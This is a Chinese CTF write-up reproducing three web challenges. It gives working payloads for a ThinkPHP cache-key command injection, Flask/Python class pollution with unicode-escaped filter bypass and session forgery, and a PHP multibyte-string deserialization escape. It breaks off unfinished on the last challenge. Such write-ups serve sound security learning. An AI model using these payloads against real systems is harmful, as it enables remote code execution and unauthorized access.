-

周末出去玩了,没打西瓜杯,直接复现吧

tpdoor

下载附件先

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

namespace app\controller;

use app\BaseController;
use think\facade\Db;

class Index extends BaseController
{
protected $middleware = ['think\middleware\AllowCrossDomain','think\middleware\CheckRequestCache','think\middleware\LoadLangPack','think\middleware\SessionInit'];
public function index($isCache = false , $cacheTime = 3600)
{
if($isCache == true){
$config = require __DIR__.'/../../config/route.php';
$config['request_cache_key'] = $isCache;
$config['request_cache_expire'] = intval($cacheTime);
$config['request_cache_except'] = [];
file_put_contents(__DIR__.'/../../config/route.php', '<?php return '. var_export($config, true). ';');
return 'cache is enabled';
}else{
return 'Welcome ,cache is disabled';
}
}
}

看不出什么,再看一下网站,logo 是 tp,加上报错页面 thinkphp 的模板框架无疑

image-20240709215607430

v8.0 网上没什么漏洞,那应该是这个页面写了漏洞,还得下载源码分析。注意这里不能去下 github 上的 tp,会少文件,按照官网的步骤用 composer 安装即可。(我安在了kali下,然后移出来看的

https://doc.thinkphp.cn/v8_0/setup.html

可以看到靶机的源码是在 controller 下 index.php 文件,我们复制然后替换到源码里面。

image-20240709215858844

注意到 index.php 里我们可控的参数是 $isCache,$isCache,也就是 $config[‘request_cache_key’]$config[‘request_cache_expire’]

1
2
$config['request_cache_key'] = $isCache;
$config['request_cache_expire'] = intval($cacheTime);

最后看把 $config 写入了 /../../config/route.php

1
file_put_contents(__DIR__.'/../../config/route.php', '<?php return '. var_export($config, true). ';');

所以查找 config/route.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php return array (
'pathinfo_depr' => '/',
'url_html_suffix' => 'html',
'url_common_param' => true,
'url_lazy_route' => false,
'url_route_must' => false,
'route_rule_merge' => false,
'route_complete_match' => false,
'controller_layer' => 'controller',
'empty_controller' => 'Error',
'controller_suffix' => false,
'default_route_pattern' => '[\\w\\.]+',
'request_cache_key' => true,
'request_cache_expire' => 1,
'request_cache_except' =>
array (
),
'default_controller' => 'Index',
'default_action' => 'index',
'action_suffix' => '',
'default_jsonp_handler' => 'jsonpReturn',
'var_jsonp_handler' => 'callback',
);

先从可控的 request_cache_key 开始全局搜索,最后在 CheckRequestCache.php 页面找到。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
<?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006~2023 http://thinkphp.cn All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: liu21st <liu21st@gmail.com>
// +----------------------------------------------------------------------
declare(strict_types=1);

namespace think\middleware;

use Closure;
use think\Cache;
use think\Config;
use think\Request;
use think\Response;

/**
* 请求缓存处理
*/
class CheckRequestCache
{
/**
* 缓存对象
* @var Cache
*/
protected $cache;

/**
* 配置参数
* @var array
*/
protected $config = [
// 请求缓存规则 true为自动规则
'request_cache_key' => true,
// 请求缓存有效期
'request_cache_expire' => null,
// 全局请求缓存排除规则
'request_cache_except' => [],
// 请求缓存的Tag
'request_cache_tag' => '',
];

public function __construct(Cache $cache, Config $config)
{
$this->cache = $cache;
$this->config = array_merge($this->config, $config->get('route'));
}

/**
* 设置当前地址的请求缓存
* @access public
* @param Request $request
* @param Closure $next
* @param mixed $cache
* @return Response
*/
public function handle(Request $request, Closure $next, $cache = null): Response
{
if ($request->isGet() && false !== $cache) {
if (false === $this->config['request_cache_key']) {
// 关闭当前缓存
$cache = false;
}

$cache = $cache ?? $this->getRequestCache($request);

if ($cache) {
if (is_array($cache)) {
[$key, $expire, $tag] = array_pad($cache, 3, '');
} else {
$key = md5($request->url(true));
$expire = $cache;
$tag = '';
}

$key = $this->parseCacheKey($request, $key);

if (strtotime($request->server('HTTP_IF_MODIFIED_SINCE', '')) + $expire > $request->server('REQUEST_TIME')) {
// 读取缓存
return Response::create()->code(304);
} elseif (($hit = $this->cache->get($key)) !== null) {
[$content, $header, $when] = $hit;
if (null === $expire || $when + $expire > $request->server('REQUEST_TIME')) {
return Response::create($content)->header($header);
}
}
}
}

$response = $next($request);

if (isset($key) && 200 == $response->getCode() && $response->isAllowCache()) {
$header = $response->getHeader();
$header['Cache-Control'] = 'max-age=' . $expire . ',must-revalidate';
$header['Last-Modified'] = gmdate('D, d M Y H:i:s') . ' GMT';
$header['Expires'] = gmdate('D, d M Y H:i:s', time() + $expire) . ' GMT';

$this->cache->tag($tag)->set($key, [$response->getContent(), $header, time()], $expire);
}

return $response;
}

/**
* 读取当前地址的请求缓存信息
* @access protected
* @param Request $request
* @return mixed
*/
protected function getRequestCache($request)
{
$key = $this->config['request_cache_key'];
$expire = $this->config['request_cache_expire'];
$except = $this->config['request_cache_except'];
$tag = $this->config['request_cache_tag'];

foreach ($except as $rule) {
if (0 === stripos($request->url(), $rule)) {
return;
}
}

return [$key, $expire, $tag];
}

/**
* 读取当前地址的请求缓存信息
* @access protected
* @param Request $request
* @param mixed $key
* @return null|string
*/
protected function parseCacheKey($request, $key)
{
if ($key instanceof Closure) {
$key = call_user_func($key, $request);
}

if (false === $key) {
// 关闭当前缓存
return;
}

if (true === $key) {
// 自动缓存功能
$key = '__URL__';
} elseif (str_contains($key, '|')) {
[$key, $fun] = explode('|', $key);
}

// 特殊规则替换
if (str_contains($key, '__')) {
$key = str_replace(['__CONTROLLER__', '__ACTION__', '__URL__'], [$request->controller(), $request->action(), md5($request->url(true))], $key);
}

if (str_contains($key, ':')) {
$param = $request->param();

foreach ($param as $item => $val) {
if (is_string($val) && str_contains($key, ':' . $item)) {
$key = str_replace(':' . $item, (string) $val, $key);
}
}
} elseif (str_contains($key, ']')) {
if ('[' . $request->ext() . ']' == $key) {
// 缓存某个后缀的请求
$key = md5($request->url());
} else {
return;
}
}

if (isset($fun)) {
$key = $fun($key);
}

return $key;
}
}

注意到

1
2
3
if (isset($fun)) {
$key = $fun($key);
}

很像漏洞点,直接开始下断点调试,注意得去 /public/index.php 页面下开始 debug,我也不知道为什么,可能 tp 团队定义的路由规则。还要注意把 $cacheTime 改为 1,不然会执行很久。

动态调试时发现进不去这个判断,向上找

1
2
3
elseif (str_contains($key, '|')) {
[$key, $fun] = explode('|', $key);
}

原来用 explode(‘|’, $key); 来得到 $fun,而且发现这个 $key 就是 config[‘request_cache_key’]。我们在 route.php 修改一下

1
'request_cache_key' => "whoami|system"

然后再动态调试

image-20240709222932342

执行成功。最后根据 tp 路由规则发包即可thinkPHP 参数传入 - 聽丶 - 博客园 (cnblogs.com)

1
https://225f8924-0efe-462c-b06b-49274664151e.challenge.ctf.show/index.php/index/index?isCache=cat /000f1ag.txt|system&cacheTime=0

因为 cache 缓存时间,多刷新几遍就能 rce 了

image-20240709223137389

easy_polluted

根据题目名应该是原型链污染之类的,下载源码看看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re
def generate_random_md5():
random_string = os.urandom(16)
md5_hash = hashlib.md5(random_string)

return md5_hash.hexdigest()
def filter(user_input):a
blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
for pattern in blacklisted_patterns:
if re.search(pattern, user_input, re.IGNORECASE):
return True
return False
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


app = Flask(__name__)
app.secret_key = generate_random_md5()

class evil():
def __init__(self):
pass

@app.route('/',methods=['POST'])
def index():
username = request.form.get('username')
password = request.form.get('password')
session["username"] = username
session["password"] = password
Evil = evil()
if request.data:
if filter(str(request.data)):
return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
else:
merge(json.loads(request.data), Evil)
return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
return render_template("index.html")

@app.route('/admin',methods=['POST', 'GET'])
def templates():
username = session.get("username", None)
password = session.get("password", None)
if username and password:
if username == "adminer" and password == app.secret_key:
return render_template("flag.html", flag=open("/flag", "rt").read())
else:
return "Unauthorized"
else:
return f'Hello, This is the POLLUTED page.'

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

注意到 admin 路由下可以读取 flag,但是会验证 session,我们都知道 flask 的session 可以伪造,但是得知道 secret_key 。正好 Evil 实例可以通过 merge 函数污染环境变量,那我们就可以修改 secret_key 为自己想要的,然后伪造 session 签名通过验证。

0x01 merge 污染

根据这篇文章就能理解污染原理。浅谈Python原型链污染及利用方式 - 先知社区 (aliyun.com)

刚好我们可以利用 Evil 的 __init__ 魔术方法来推链子(感觉像 ssti

1
2
3
4
5
6
7
8
9
json_data = {
"__init__": {
"__globals__":{
"app":{
"secret_key":"pass"
}
}
}
}

json 数据是因为

1
merge(json.loads(request.data), Evil)

注意到有 WAF,我们可以 unicode 编码来绕过,json_loads 能识别 unicode

1
2
3
4
5
6
7
8
9
{
"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f": {
"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{
"\u0061\u0070\u0070":{
"\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079":"pass"
}
}
}
}

0x02 session 伪造

对flask session伪造的学习 - GTL_JU - 博客园 (cnblogs.com)

1
python 1.py  encode -s 'pass' -t "{'password': 'pass', 'username': 'adminer'}"

然后填入 session 访问 admin 路由,返回包

1
2
这又是什么jinja语法啊!
[#flag#]

0x04 污染 jinja 引擎语法

提示我们修改 jinja 的模板引擎语法,正常来说应该是 {{}},{%%}。正好模板语法的定义也在 app 下

1
2
print(Evil.__init__.__globals__['app'].jinja_env.variable_start_string)
print(Evil.__init__.__globals__['app'].jinja_env.variable_end_string)

image-20240709095100334

污染的话 jinja_env.variable_start_string 改为 [#,jinja_env.variable_end_string 污染为 #] 即可。

1
2
3
4
5
6
7
8
9
10
11
12
{
"__init__" : {
"__globals__" : {
"app" : {
"jinja_env" :{
"variable_start_string" : "[#",
"variable_end_string":"#]"
}
}
}
}
}

不过得重置靶机再访问 admin 之前就要修改语法,我猜这和 flask 的渲染机制有关。

重置靶机之后,直接 key 和 jinja 一起修改

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {
"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {
"\u0061\u0070\u0070" : {
"\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079":"pass",
"\u006a\u0069\u006e\u006a\u0061\u005f\u0065\u006e\u0076" :{
"\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067" : "[#",
"\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"#]"
}
}
}
}
}

最后带着伪造的 session 访问 admin 路由得到 flag

image-20240709095646520

0x05 法二:修改 _static_folder 为根目录

_static_folder 打印出来为 static,当我们访问 url/static/1.js 的时候是不用路由验证的,那我们就可以把 _static_folder 的值改为 “/“,这样访问 url/static/ 就可以映射根目录下的资源

1
{"__init__" : {"__globals__" :{"app" :{"_static_folder":"/"}}}}

然后直接访问 url/static/flag(这里修不修改 key 已经无所谓了。

Ezzz_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php 
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}
class read_file{
public $start;
public $filename="/etc/passwd";
public function __construct($start){
$this->start=$start;
}
public function __destruct(){
if($this->start == "gxngxngxn"){
echo 'What you are reading is:'.file_get_contents($this->filename);
}
}
}
if(isset($_GET['start'])){
$readfile = new read_file($_GET['start']);
$read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag";
if(preg_match("/\[|\]/i", $_GET['read'])){
die("NONONO!!!");
}
$ctf = substrstr($read."[".serialize($readfile)."]");
unserialize($ctf);
}else{
echo "Start_Funny_CTF!!!";
} Start_Funny_CTF!!!

0x01 前置知识

先来了解两个小 tips

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
echo mb_strpos($_GET[1]."AAA<BB", '<');
echo "</br>";
echo mb_substr($_GET[2]."AAA<BB",0,2);
?>
1
?1=%9f&2=%f0

输出:

1
2
3
�AAA<

mb_strpos这个函数在遇到 %9f 这个不可见字符时,会自动忽略

mb_substr,他会把 %f0 连着后面的三个字符当成一个字符来识别

0x02 构造逃逸

先构造

1
read = O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:5:"/flag";}

然后不断在前面加上 %9f 这样就可以使截取长度不变,截取位置改变。

1
read=%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9fO:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:5:"/flag";}&start=gxngxngxn

但是没有 /flag 页面。要利用 file_get_contents($this->filename); 来rce

【翻译】从设置字符集到RCE:利用 GLIBC 攻击 PHP 引擎(篇一)

看不懂,开摆。。。